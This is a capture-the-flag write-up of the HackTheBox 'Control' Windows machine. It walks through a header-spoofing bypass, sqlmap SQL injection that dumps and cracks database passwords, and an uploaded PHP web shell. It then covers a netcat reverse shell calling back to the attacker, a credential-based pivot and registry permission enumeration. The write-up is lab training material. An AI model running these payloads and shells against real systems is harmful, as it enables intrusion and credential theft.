HackTheBox Writeup: Control

Control is a Hard difficulty Windows box (yay!) that was just retired from HackTheBox. Control was a very good challenge, it starts out in a pretty generic manner, requiring the exploitation of a SQL injection flaw in a web application that only allows users connecting from a specific proxy, but when local access is established the real fun begins.

And by fun I mean trial and error, because there is quite a bit of guess work going on in the privilege escalation part, but even if the box doesn’t tell you what to do in a huge font it still leaves out some hints so that you can get there in the end, when you realize that in order to escalate privileges you have to find a Windows service of which you can change the properties from the registry to hijack its execution when it is then started, which I thought was a pretty cool idea.


Enumeration

A full nmap scan doesn’t reveal a big attack surface, with just HTTP MS-RPC and MySQL available:

baud@kali:~/HTB/control$ sudo nmap -sC -sV -p- -T5 -oA fullScan 10.10.10.167
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-05 21:17 CEST
Nmap scan report for 10.10.10.167
Host is up (0.064s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp   open  msrpc   Microsoft Windows RPC
3306/tcp  open  mysql?
| fingerprint-strings: 
|   DNSVersionBindReqTCP, JavaRMI, TerminalServer, WMSRequest: 
|_    Host '10.10.15.203' is not allowed to connect to this MariaDB server
49666/tcp open  msrpc   Microsoft Windows RPC
49667/tcp open  msrpc   Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=4/5%Time=5E8A301A%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.15\.203'\x20is
SF:\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server"
SF:)%r(TerminalServer,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.15\.203'\x20i
SF:s\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server
SF:")%r(JavaRMI,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.15\.203'\x20is\x20n
SF:ot\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(W
SF:MSRequest,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.15\.203'\x20is\x20not\
SF:x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 371.52 seconds

The IIS web server has a neat little application running that looks like this:

The only apparently interesting feature here is the Admin button, upon clicking it we are given an error stating we must go through a proxy in order to access the page, and that this proxy is supposed to add a special header to our HTTP requests:

Here are a few headers commonly added by HTTP proxies when a client goes through one:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

With a 127.0.0.1 address in, these headers actually become possible bypasses. A proxy will replace the 127.0.0.1 address with that of the client making the request to the application, which will check if the supplied IP is authorized to access the desired page.

Using 127.0.0.1 as the value of all these headers is a typical bypass based on the assumption that the server trusts requests coming from itself, thus thinking the requests come from a host that is authorized to access the application of interest.

Unfortunately for us, adding these headers manually with Burp and making a request to the Admin page returns the same exact error as before, meaning we are missing something. Perhaps localhost is not in the app’s access control whitelist. We’ll be back here soon.

Running Dirbuster allows to find a bunch of files and folders that are not apparent from the main site accessible to unauthenticated users, mainly the uploads folder and a bunch of PHP pages that have to do with product management of some sort (don’t mind the n2s.php page, it’s a web shell dropped by some other user):

Other PHP pages are referenced by the /assets/js/functions.js script:

function deleteProduct(id) {
	document.getElementById("productId").value = id;
	document.forms["viewProducts"].action = "delete_product.php";
	document.forms["viewProducts"].submit();
}
function updateProduct(id) {
	document.getElementById("productId").value = id;
	document.forms["viewProducts"].action = "update_product.php";
	document.forms["viewProducts"].submit();
}
function viewProduct(id) {
	document.getElementById("productId").value = id;
	document.forms["viewProducts"].action = "view_product.php";
	document.forms["viewProducts"].submit();
}
function deleteCategory(id) {
	document.getElementById("categoryId").value = id;
	document.forms["categoryOptions"].action = "delete_category.php";
	document.forms["categoryOptions"].submit();
}
function updateCategory(id) {
	document.getElementById("categoryId").value = id;
	document.forms["categoryOptions"].action = "update_category.php";
	document.forms["categoryOptions"].submit();
}

Plus, /assets/js/checkvalues.js implements some client-side checks for the validity of user supplied input, a probable indicator of custom code running in the web application’s Admin area where those product-related PHP pages can be accessed:

function checkValues(form) {
   if (form == "updateProduct") {
      var name = document.forms["updateProduct"]["name"].value;
      var quantity = document.forms["updateProduct"]["quantity"].value;
      var price = document.forms["updateProduct"]["price"].value;
      if (name.length <= 0) {
         alert("Name cannot be empty!");
         return false;
      }
      if (quantity < 0 || quantity == "") {
         alert("Quantity cannot be less than 0!");
         return false;
      }
      if (price == 0 || price.includes("-")) {
         alert("Price must be greater than 0");
         return false;
      }
   } else if (form == "createProduct") {
      var name = document.forms["createProduct"]["name"].value;
      var quantity = document.forms["createProduct"]["quantity"].value;
      var price = document.forms["createProduct"]["price"].value;
      if (name.length <= 0) {
         alert("Name cannot be empty!");
         return false;
      }
      if (quantity < 0 || quantity == "") {
         alert("Quantity cannot be less than 0!");
         return false;
      }
      if (price == 0 || price.includes("-")) {
         alert("Price must be greater than 0");
         return false;
      }
   } else if (form == "createCategory") {
      var name = document.forms["createCategory"]["name"].value;
      if (name.length <= 0) {
         alert("Name cannot be empty!");
         return false;
      }
   } else if (form == "updateCategory") {
      var name = document.forms["updateCategory"]["name"].value;
      if (name.length <= 0) {
         alert("Name cannot be empty!");
         return false;
      }
   }
   return true;
}

I tried fuzzing these pages and their parameters blindly with wfuzz but didn’t have any success in receiving interesting output from them.

Going back to the index of the web application a comment is found in the source code:

<body class="is-preload landing">
	<div id="page-wrapper">
		<!-- To Do:
			- Import Products
			- Link to new payment system
			- Enable SSL (Certificates location \\192.168.4.28\myfiles)
		<!-- Header -->

We can deduce from this comment that the web server is supposed to trust an external server hosting SSL certificates, with the IP address of this server we can try injecting the custom proxy headers again using the IP above instead of 127.0.0.1:

X-Originating-IP: 192.168.4.28
X-Forwarded-For: 192.168.4.28
X-Remote-IP: 192.168.4.28
X-Remote-Addr: 192.168.4.28

It can be very uncomfortable running every request through Burp to add the headers every time since as soon as we click another link on the application a request without the header will be generated, causing us to see the error again.

To solve this issue I used the CustomHeaders Burp extension to add the headers automatically to every request caught by the Burp proxy:

Adding all four headers with the correct IP address loads the admin page this time:

Going by exclusion it turns out the correct proxy header the web application checks for is this one:

X-Forwarded-For: 192.168.4.28

Anyway now that we can finally see and use the Admin page we can observe how those PHP pages from earlier are utilized. New products can be created:

As well as new categories:

After playing around with those functions I didn’t find them to be attackable, however SQL errors can be triggered by adding a single quote in the search field at the top of the page, so the search_products.php page appears to be vulnerable to SQL injection:


Exploitation: SQL Injection (DB dump, file upload)

We can use sqlmap to exploit the flaw and dump the passwords in the databases, making sure to add the proxy header to the requests for good measure:

baud@kali:~/HTB/control$ sqlmap --passwords -u http://10.10.10.167/search_products.php --data='productName=name' --headers='X-Forwarded-For: 192.168.4.28'
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.2#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:07:45 /2020-04-05/

[22:07:45] [INFO] resuming back-end DBMS 'mysql' 
[22:07:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-3076' OR 6013=6013#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=name' AND (SELECT 4131 FROM(SELECT COUNT(*),CONCAT(0x7178627071,(SELECT (ELT(4131=4131,1))),0x7176627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dzoa

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=name';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=name' AND (SELECT 4951 FROM (SELECT(SLEEP(5)))YygG)-- NmJz

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=name' UNION ALL SELECT NULL,CONCAT(0x7178627071,0x6a49496f58625764426b464f4c6f6f4d746c4556795965514d6442736f747a527778414d726c7a64,0x7176627871),NULL,NULL,NULL,NULL#
---
[22:07:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[22:07:45] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:07:49] [INFO] writing hashes to a temporary file '/tmp/sqlmap0n205v2b6830/sqlmaphashes-krexg5ga.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] hector [1]:
    password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
    password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
[*] root [1]:
    password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8

[22:07:51] [INFO] fetched data logged to text files under '/home/baud/.sqlmap/output/10.10.10.167'
[22:07:51] [WARNING] you haven't updated sqlmap for more than 64 days!!!

[*] ending @ 22:07:51 /2020-04-05/

The program was able to pull three different hashes as well as the usernames they belong to, two of those hashes are easily matched with cleartext passwords by CrackStation so we don’t even have to bruteforce anything:

This gives us two sets of possible credentials:

User: hector
Pass: l33th4x0rhector

User: manager
Pass: l3tm3!n

The first thing I tried doing with the credentials is connecting to the MySQL server using the mysql client, however we are not authorized to access the server:

baud@kali:~/HTB/control$ mysql -h 10.10.10.167 -u manager -p
Enter password: 
ERROR 1130 (HY000): Host '10.10.15.203' is not allowed to connect to this MariaDB server

So back to sqlmap, another possible way in is using the SQL injection vulnerability to upload arbitrary files on the server, like a simple PHP shell to execute shell commands. Here we’re going to have to guess the name of a directory we can write to, I went for the uploads folder found earlier and assumed it is located in the default IIS directory, C:\inetpub\wwwroot. Luckily the assumption was correct and the file was written on the server:

baud@kali:~/HTB/control$ sqlmap -u http://10.10.10.167/search_products.php --data='productName=name' --headers='X-Forwarded-For: 192.168.4.28' --file-write=./baud.php --file-dest='C:\\inetpub\\wwwroot\\uploads\\baud3.php'
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:27:43 /2020-04-06/

[17:27:43] [INFO] resuming back-end DBMS 'mysql' 
[17:27:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-3076' OR 6013=6013#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=name' AND (SELECT 4131 FROM(SELECT COUNT(*),CONCAT(0x7178627071,(SELECT (ELT(4131=4131,1))),0x7176627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dzoa

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=name';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=name' AND (SELECT 4951 FROM (SELECT(SLEEP(5)))YygG)-- NmJz

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=name' UNION ALL SELECT NULL,CONCAT(0x7178627071,0x6a49496f58625764426b464f4c6f6f4d746c4556795965514d6442736f747a527778414d726c7a64,0x7176627871),NULL,NULL,NULL,NULL#
---
[17:27:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[17:27:43] [INFO] fingerprinting the back-end DBMS operating system
[17:27:43] [INFO] the back-end DBMS operating system is Windows
[17:27:44] [WARNING] potential permission problems detected ('Access denied')
[17:27:44] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)            
do you want confirmation that the local file 'baud.php' has been successfully written on the back-end DBMS file system ('C:/inetpub/wwwroot/uploads/baud3.php')? [Y/n] y
[17:27:47] [INFO] the local file 'baud.php' and the remote file 'C:/inetpub/wwwroot/uploads/baud3.php' have the same size (80 B)
[17:27:47] [INFO] fetched data logged to text files under '/home/baud/.sqlmap/output/10.10.10.167'
[17:27:47] [WARNING] you haven't updated sqlmap for more than 65 days!!!

[*] ending @ 17:27:47 /2020-04-06/

The shell is very simple and only has the purpose of giving me the ability to launch a different shell since I wasn’t able to execute OS commands from sqlmap itself using --os-cmd or --os-shell:

<html>
<body>
	<pre>
	<?php
		system($_GET['cmd']);
	?>
	</pre>
</body>
</html>

The shell I want to launch makes use of nc for Windows so I uploaded the binary in the same folder as well:

baud@kali:~/HTB/control$ sqlmap -u http://10.10.10.167/search_products.php --data='productName=name' --headers='X-Forwarded-For: 192.168.4.28' --file-write=./nc.exe --file-dest='C:\\inetpub\\wwwroot\\uploads\\nc.exe'
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.2#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:24:01 /2020-04-06/

[23:24:01] [INFO] resuming back-end DBMS 'mysql' 
[23:24:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-3076' OR 6013=6013#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=name' AND (SELECT 4131 FROM(SELECT COUNT(*),CONCAT(0x7178627071,(SELECT (ELT(4131=4131,1))),0x7176627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dzoa

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=name';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=name' AND (SELECT 4951 FROM (SELECT(SLEEP(5)))YygG)-- NmJz

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=name' UNION ALL SELECT NULL,CONCAT(0x7178627071,0x6a49496f58625764426b464f4c6f6f4d746c4556795965514d6442736f747a527778414d726c7a64,0x7176627871),NULL,NULL,NULL,NULL#
---
[23:24:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[23:24:02] [INFO] fingerprinting the back-end DBMS operating system
[23:24:02] [INFO] the back-end DBMS operating system is Windows
[23:24:02] [WARNING] potential permission problems detected ('Access denied')
[23:24:15] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)              
do you want confirmation that the local file 'nc.exe' has been successfully written on the back-end DBMS file system ('C:/inetpub/wwwroot/uploads/nc.exe')? [Y/n] y
[23:24:19] [INFO] the local file 'nc.exe' and the remote file 'C:/inetpub/wwwroot/uploads/nc.exe' have the same size (28160 B)
[23:24:19] [INFO] fetched data logged to text files under '/home/baud/.sqlmap/output/10.10.10.167'
[23:24:19] [WARNING] you haven't updated sqlmap for more than 65 days!!!

[*] ending @ 23:24:19 /2020-04-06/

Check if the web shell works as intended:

Now with a single request to that page we can start a proper reverse shell using nc and we’re in:

baud@kali:~/HTB/control$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.15.203] from (UNKNOWN) [10.10.10.167] 57762
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\uploads>

Escalating to Hector and local enumeration

As it turns out the Manager user does not exist, but Hector does have an account on the system:

C:\inetpub\wwwroot\uploads>dir c:\users
dir c:\users
 Volume in drive C has no label.
 Volume Serial Number is C05D-877F

 Directory of c:\users

11/05/2019  03:34 PM    <DIR>          .
11/05/2019  03:34 PM    <DIR>          ..
11/05/2019  03:34 PM    <DIR>          Administrator
11/01/2019  12:09 PM    <DIR>          Hector
10/21/2019  05:29 PM    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  43,519,860,736 bytes free

C:\inetpub\wwwroot\uploads>

Because we already have found Hector’s password we can switch to it with a PSSession:

C:\inetpub\wwwroot\uploads>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\uploads> $pw = ConvertTo-SecureString -String "l33th4x0rhector" -AsPlainText -force
$pw = ConvertTo-SecureString -String "l33th4x0rhector" -AsPlainText -force
PS C:\inetpub\wwwroot\uploads> $pp = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ".\Hector", $pw
$pp = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ".\Hector", $pw
PS C:\inetpub\wwwroot\uploads> Enter-PSSession -ComputerName localhost -Credential $pp
Enter-PSSession -ComputerName localhost -Credential $pp
[localhost]: PS C:\Users\Hector\Documents> whoami
whoami
control\hector
[localhost]: PS C:\Users\Hector\Documents>

And then launch nc.exe again to have a more comfortable shell instead of the awkward Invoke-Command syntax:

[localhost]: PS C:\Users\Hector\Documents> Invoke-Command -ScriptBlock { C:\inetpub\wwwroot\uploads\nc.exe -e cmd.exe 10.10.15.203 9898 }

Looking for interesting files, the only thing that sticks out is Hector’s’ PowerShell history located in AppData:

C:\Users\Hector\AppData>dir C:\Users\Hector\AppData\roaming\microsoft\windows\powershell\psreadline
dir C:\Users\Hector\AppData\roaming\microsoft\windows\powershell\psreadline
 Volume in drive C has no label.
 Volume Serial Number is C05D-877F

 Directory of C:\Users\Hector\AppData\roaming\microsoft\windows\powershell\psreadline

11/25/2019  12:04 PM    <DIR>          .
11/25/2019  12:04 PM    <DIR>          ..
11/25/2019  02:36 PM               114 ConsoleHost_history.txt
               1 File(s)            114 bytes
               2 Dir(s)  43,519,021,056 bytes free

C:\Users\Hector\AppData>

It contains the following commands:

C:\Users\Hector\AppData>more C:\Users\Hector\AppData\roaming\microsoft\windows\powershell\psreadline\ConsoleHost_history.txt
more C:\Users\Hector\AppData\roaming\microsoft\windows\powershell\psreadline\ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

C:\Users\Hector\AppData>

There are two commands that query the registry, replicating the first one returns this output:

C:\Users\Hector\AppData>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Hector\AppData> get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list


Property      : {BootDriverFlags, CurrentUser, EarlyStartServices, PreshutdownOrder...}
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName   : Control
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount   : 121
View          : Default
Handle        : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount    : 11
Name          : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control

Property      : {NextParentID.daba3ff.2, NextParentID.61aaa01.3, NextParentID.1bd7f811.4, NextParentID.2032e665.5...}
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Enum
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName   : Enum
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount   : 17
View          : Default
Handle        : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount    : 27
Name          : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Enum

Property      : {}
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Hardware Profiles
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName   : Hardware Profiles
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount   : 3
View          : Default
Handle        : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount    : 0
Name          : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Hardware Profiles

Property      : {}
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Policies
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName   : Policies
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount   : 0
View          : Default
Handle        : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount    : 0
Name          : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Policies

Property      : {}
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName   : Services
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount   : 667
View          : Default
Handle        : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount    : 0
Name          : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services

Property      : {}
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Software
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName   : Software
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount   : 1
View          : Default
Handle        : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount    : 0
Name          : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Software

This is just used to return all the child items of the CurrentControlSet registry location. The second command on the other hand shows the access control list of the same registry entry:

PS C:\Users\Hector\AppData> get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list


Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
Owner  : BUILTIN\Administrators
Group  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Administrators Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  ReadKey
         NT AUTHORITY\Authenticated Users Allow  -2147483648
         S-1-5-32-549 Allow  ReadKey
         S-1-5-32-549 Allow  -2147483648
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -2147483648
         S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow  
         ReadKey
         S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow  
         -2147483648
Audit  : 
Sddl   : O:BAG:SYD:AI(A;;KA;;;BA)(A;ID;KR;;;AU)(A;CIIOID;GR;;;AU)(A;ID;KR;;;SO)(A;CIIOID;GR;;;SO)(A;ID;KA;;;BA)(A;CIIOI
         D;GA;;;BA)(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;CIIOID;GA;;;CO)(A;ID;KR;;;AC)(A;CIIOID;GR;;;AC)(A;ID;KR;;;S-1-15-
         3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)(A;CIIOID;GR;;;S
         -1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)

While that output does not contain very interesting info it comes from a command we can re-use for further enumeration in the next phase, which is where the guess work bit begins.


Beginning of the guess work

The box gave us a few hints, now it’s up to us to put all of them together and come up with an attack vector. Judging from his PowerShell history Hector was concerned with checking the ACL of the CurrentControlSet registry entries, so maybe, just maybe, some entries in there will have some interesting or non-standard permissions that we could take advantage of. This is our first assumption.

Arguably the most interesting entry within the CurrentControlSet child items is Services. All entries in the Services folder tell Windows how to manage the installed services, how to start them, when, with what privileges, and so on.

As we should already know, Windows services typically run under the local SYSTEM account unless they’ve been set to use a less privileged account, like the local service or the network service accounts.

Because of the very high privileges under which a lot of services run they make for very interesting targets. So let’s start enumerating the services this installation of Windows has enabled, simply by listing the child entries of the Services directory in the registry:

PS C:\Users\Hector\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services > svcs.txt
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services > svcs.txt
PS C:\Users\Hector\Documents> dir
dir


    Directory: C:\Users\Hector\Documents


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         4/6/2020   6:58 PM          45272 nc.exe                                                                
-a----         4/6/2020   7:02 PM             11 query                                                                 
-a----         4/6/2020   7:02 PM              0 Servicenames.txt                                                      
-a----         4/6/2020   7:03 PM          85894 svcs.txt                                                              


PS C:\Users\Hector\Documents>

The output will look like this:

[....]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\netvscvfpp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\NgcCtnrSvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\NgcSvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\NlaSvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\Npfs
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\npsvctrig
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\nsi
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\nsiproxy
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\Ntfs
[....]

Transfer the output file locally using nc since we have it available, for easier analysis:

With a list of the different service paths in the registry we can use the Get-ACL cmdlet that was also used by Hector to test a bunch of services for interesting permissions, I also pipe the output of the cmdlet to fl, which is an alias for Format List, to avoid receiving a truncated output.

Of course this can be scripted very easily if you are not new to PowerShell, but because I suck at it I did it the manual way.

After trying out a few different services, you will eventually run into one that grants Hector full control access, like DeviceInstall:

PS C:\Users\Hector\Documents> get-acl HKLM:\SYSTEM\CurrentControlset\Services\DeviceInstall | fl
get-acl HKLM:\SYSTEM\CurrentControlset\Services\DeviceInstall | fl


Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\DeviceInstall
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
         NT AUTHORITY\SYSTEM Allow  FullControl
         CREATOR OWNER Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  ReadKey
         NT AUTHORITY\SYSTEM Allow  FullControl
         CONTROL\Hector Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
Audit  : 
Sddl   : O:SYG:SYD:AI(A;CIID;KR;;;AC)(A;ID;KA;;;SY)(A;CIIOID;KA;;;CO)(A;CIID;KR;;;AU)(A;CIIOID;KA;;;SY)(A;CIID;KA;;;S-1
         -5-21-3271572904-80546332-2170161114-1000)(A;CIID;KA;;;BA)

With those permissions DeviceInstall could make for an attackable service. Let’s query the registry for more information to see how a service entry looks like:

PS C:\Users\Hector\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\DeviceInstall
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\DeviceInstall

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\DeviceInstall
    Description    REG_SZ    @%SystemRoot%\system32\umpnpmgr.dll,-101
    DisplayName    REG_SZ    @%SystemRoot%\system32\umpnpmgr.dll,-100
    ErrorControl    REG_DWORD    0x1
    FailureActions    REG_BINARY    100E0000000000000000000003000000140000000100000060EA000001000000C0D401000000000000000000
